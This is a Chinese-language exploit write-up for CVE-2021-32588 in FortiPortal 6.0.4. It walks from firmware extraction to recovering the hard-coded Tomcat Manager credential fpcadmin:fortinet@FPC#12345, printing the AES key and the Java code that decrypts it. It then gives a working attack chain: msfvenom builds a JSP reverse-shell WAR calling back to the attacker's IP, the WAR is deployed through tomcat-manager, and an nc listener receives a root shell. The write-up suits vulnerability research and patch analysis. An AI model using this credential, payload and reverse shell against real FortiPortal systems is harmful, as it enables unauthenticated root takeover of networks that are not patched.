披露信息:https://www.fortiguard.com/psirt/FG-IR-21-077
漏洞编号:CVE-2021-32588
漏洞描述:A use of hard-coded credentials (CWE-798) vulnerability in FortiPortal may allow a remote and unauthenticated attacker to execute unauthorized commands as root by uploading and deploying malicious web application archive files using the default hard-coded Tomcat Manager username and password.
环境搭建 下载 6.0.4 和 6.0.5 两个版本,导入 6.0.4 镜像到 VMware,启动后发现控制台输出错误信息
1 2 The last packet sent successfully to the server was 0 milliseconds ago. The driver has not received any packets from the server.. db_Migration failed. Going to prevent fpc web app from launching.
这里提示链接数据库服务器失败,查阅官网手册发现需要手动配置一台数据库服务器,具体步骤可参考[官网文档](Administration Guide | FortiPortal 6.0.5 | Fortinet Documentation Library )。
配置好数据库服务器后,需要对虚拟机的网络等进行配置。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 admin 空密码登录系统 config system interface 进入网卡配置选项 edit port1 编辑 port1 网卡 set ip 192.168.0.200/24 设置网卡 ip 为 192.168.0.200,掩码 255.255.255.0 set allowaccess ping https ssh http 设置网卡允许 ssh、http、ping https 协议 end config system route 进入路由配置选项 edit 1 编辑条目 1 set device port1 设置网卡 port1 set gateway 192.168.0.1 设置网关地址 192.168.0.1 end config system sql 进入数据库配置选项 set status remote 设置数据库服务为远程 set database-name fp_fazlite 设置数据库名 set database-type mysql 设置数据库类型 set database-port 3306 设置数据库服务器端口 set username fpc 设置 mysql 用户名 set password xyz mysql 密码 set server 192.168.0.163 设置数据库服务器地址 end
配置好后重启虚拟机。
在数据库服务器登录 mysql,执行以下语句来查看是否配置成功
1 select * from ftntpmcdb.fpc_version;
结果中输出了版本信息即可。
此时可通过刚刚配置的 IP 来访问 web 服务。
固件获取 fortiportal 本身不提供 Linux shell,我们需要想办法拿到设备固件。首先找到导入的虚拟磁盘,对其进行解压。
1 PS:如果是在 Windows 环境下,建议安装 7-zip 软件,安装后直接右键虚拟磁盘,选择使用 7-zip 打开即可看到内容。
解压可得到一个 rootfs.gz 文件,解包后获取到根文件系统,但是此时文件系统中缺失了大部分数据,在根目录下能找到三个压缩包: bin.tar.xz、lib.tar.xz、usr.tar.xz
直接使用 tar 等工具不能解压这三个文件,猜测设备在初始化过程中会进一步对这些文件进行处理。
考虑到 Linux 系统的启动流程,内核初始化完成之后会进入 init_post 函数,在这里将控制流移交给用户空间进程,包括 /sbin/init、/etc/init、/bin/init、/bin/sh。
此时可以参考文章 ,通过虚拟机调试的方法尝试获取 shell,但这里我们有更简单的方法。
在解压出来的根文件系统中寻找上述的四个初始化程序,在 /bin 目录下发现只有一个 init 文件。
IDA 打开分析,其主函数代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 int sub_804A4A2 () { char v1; char v2; char v3; char v4; int v5[2 ]; if ( init_loader_decompress_dir("lib" , 0 ) >= 0 ) { if ( init_loader_decompress_dir("bin" , 0 ) >= 0 ) { if ( init_loader_decompress_dir("usr" , 0 ) >= 0 ) { if ( init_loader_decompress_dir("etc/dm/syntax/syntax" , 1 ) < 0 ) sub_804A316("Decompress syntax error, image error\n" , v4); v5[0 ] = "/bin/init" ; v5[1 ] = 0 ; sub_807EB00("/bin/init" , v5, 0 ); } else { sub_804A316("Decompress usr error, image error\n" , v3); } } else { sub_804A316("Decompress bin error, image error\n" , v2); } } else { sub_804A316("Decompress lib error, image error\n" , v1); } return 0 ; }
这段代码看起来是对根目录下的三个压缩包实现解压,由于该程序为 x86 架构,可以直接在虚拟机中运行,执行以下命令实现对根目录的完全解压
1 sudo chroot . ./bin/init
执行后等待程序运行完毕,即可看到释放出了完整的 /bin、/lib 和 /usr 目录。
在 /usr/local/tomcat 目录发现关键文件。
漏洞分析 解包 6.0.4 和 6.0.5 两个版本的固件,进行补丁对比,发现新版中移除了 webapps 下的 manager 目录,经调查,此目录就是漏洞披露信息中提到的 Tomcat Manager 组件。
Tomcat Manager 会去 conf/tomcat-users.xml 文件中读取用户信息,查看此文件发现以下记录
1 2 <role rolename ="manager-script" /> <user username ="fpcadmin" password ="046ed5f485431c63$1000$63da3a538f1f15aea922875fd1e2c5645629ff3d24997bb3f978ad2538921168" roles ="manager-script" />
说明在默认配置下存在一个名为 fpcadmin 的 manager-script 用户,此用户无法访问 GUI 界面,但是可以通过直接调用接口实现诸多功能。
首先要解决密码的问题,Tomcat Manager 官方文档中提到为了安全性,tomcat-users.xml 中的用户密码允许进行加密,防止密码泄露。通过全局搜索,在名为 FpcReloadTomcatApp.class 类中找到对 fpcadmin 用户操作的代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public boolean reloadTomcatApp () { StringBuffer curlForReload = new StringBuffer (); curlForReload .append("curl -k -u fpcadmin:" ) .append(CipherUtils.decryptString("y542PfTSFP9E2mZ6SfBaIK4Y8OIEV3HyiBDBUjSQXB4=" )) .append(" https://localhost/manager/text/reload?path=/fpc" ); log.info("execute curl for tomacat reload start " + Thread.currentThread().getName()); try { String output = executeRequest(curlForReload.toString()); log.info("Tomcat reload context 'fpc' result: " + output); return (output != null ) && (output.contains("OK" )) && (output.contains("fpc" )); } catch (Exception ex) { String failedMessage = "reload context 'fpc' failed. details in log. restart Tomcat server to make SAML update in effect." ; log.error(failedMessage, ex); } return false ; }
Tomcat 重新加载时,会使用 curl 命令调用 Tomcat Manager 的 reload 接口,其中使用了 fpcadmin 的密码。
先使用 decryptString 函数对其解密,解密函数关键代码
1 2 3 4 5 6 7 8 9 Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING" );SecretKeySpec secretKey = new SecretKeySpec (key, "AES" );byte [] iv = new byte [cipher.getBlockSize()];pSpec = new IvParameterSpec (iv); cipher.init(2 , secretKey, pSpec); String decryptedString = new String (cipher.doFinal(Base64.decodeBase64(stringToDecrypt)));log.debug("decrypt string" ); return decryptedString;
decryptString 使用 AES 算法对密码进行解密,key 被定义为成员变量
1 public static final byte [] key = { Byte.MAX_VALUE, 34 , -24 , -72 , -95 , 31 , -10 , -7 , 74 , 78 , -74 , -26 , -63 , -48 , -7 , -10 };
所以我们可以编写代码对其中的密码进行解密
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import javax.crypto.BadPaddingException;import javax.crypto.Cipher;import javax.crypto.IllegalBlockSizeException;import javax.crypto.NoSuchPaddingException;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;import java.security.spec.AlgorithmParameterSpec;import java.util.Base64;public class dec { public static final byte [] key = { Byte.MAX_VALUE, 34 , -24 , -72 , -95 , 31 , -10 , -7 , 74 , 78 , -74 , -26 , -63 , -48 , -7 , -10 }; private static AlgorithmParameterSpec pSpec = null ; public static void main (String[] args) throws Exception { Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING" ); SecretKeySpec secretKey = new SecretKeySpec (key, "AES" ); byte [] iv = new byte [cipher.getBlockSize()]; pSpec = new IvParameterSpec (iv); cipher.init(2 , secretKey, pSpec); String decryptedString = new String (cipher.doFinal(Base64.getDecoder().decode("y542PfTSFP9E2mZ6SfBaIK4Y8OIEV3HyiBDBUjSQXB4=" ))); System.out.println(decryptedString); } }
最终得到明文密码:fortinet@FPC#12345
用账号 fpcadmin:fortinet@FPC#12345 即可登录 Tomcat Manager,并且访问后台接口。
获取 shell 得到后台权限后可以进一步获取 root shell,我们使用工具 tomcatmanager ,先修改 tomcat_manager.py 第 535 行 requests.put 代码,添加参数 verify=False 防止 python SSL 证书报错。
首先用 msf 生成 war 木马
1 msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.0.160 LPORT=13337 -f war > shell.war
tomcat-manager 链接到目标,密码:fortinet@FPC#12345
1 2 3 4 tomcat-manager> connect https://192.168.0.200/manager fpcadmin --noverify Password: --connected to https://192.168.0.200/manager as fpcadmin --tomcat version: [Apache Tomcat/9.0.44]
利用 deploy 接口部署木马
1 tomcat-manager> deploy local ./shell.war /rce
部署后可通过 list 命令查看是否部署成功
1 2 3 4 5 6 7 tomcat-manager> list Path State Sessions Directory ------------------------ ------- -------- ------------------------------------ / running 2 ROOT /fpc running 1 fpc /manager running 0 manager /rce running 0 rce
我们看到列表中出现了刚刚部署的木马,对应路由为 /rce
在攻击端监听端口 13337,然后访问 /rce 接口,即可获取到 root shell
1 2 3 4 5 6 7 8 ➜ Desktop nc -lnvp 13337 Listening on 0.0.0.0 13337 Connection received on 192.168.0.200 46194 uname -a Linux FPCVM64 2.6.36.3 #1 SMP Wed May 19 10:33:07 PDT 2021 x86_64 GNU/Linux whoami root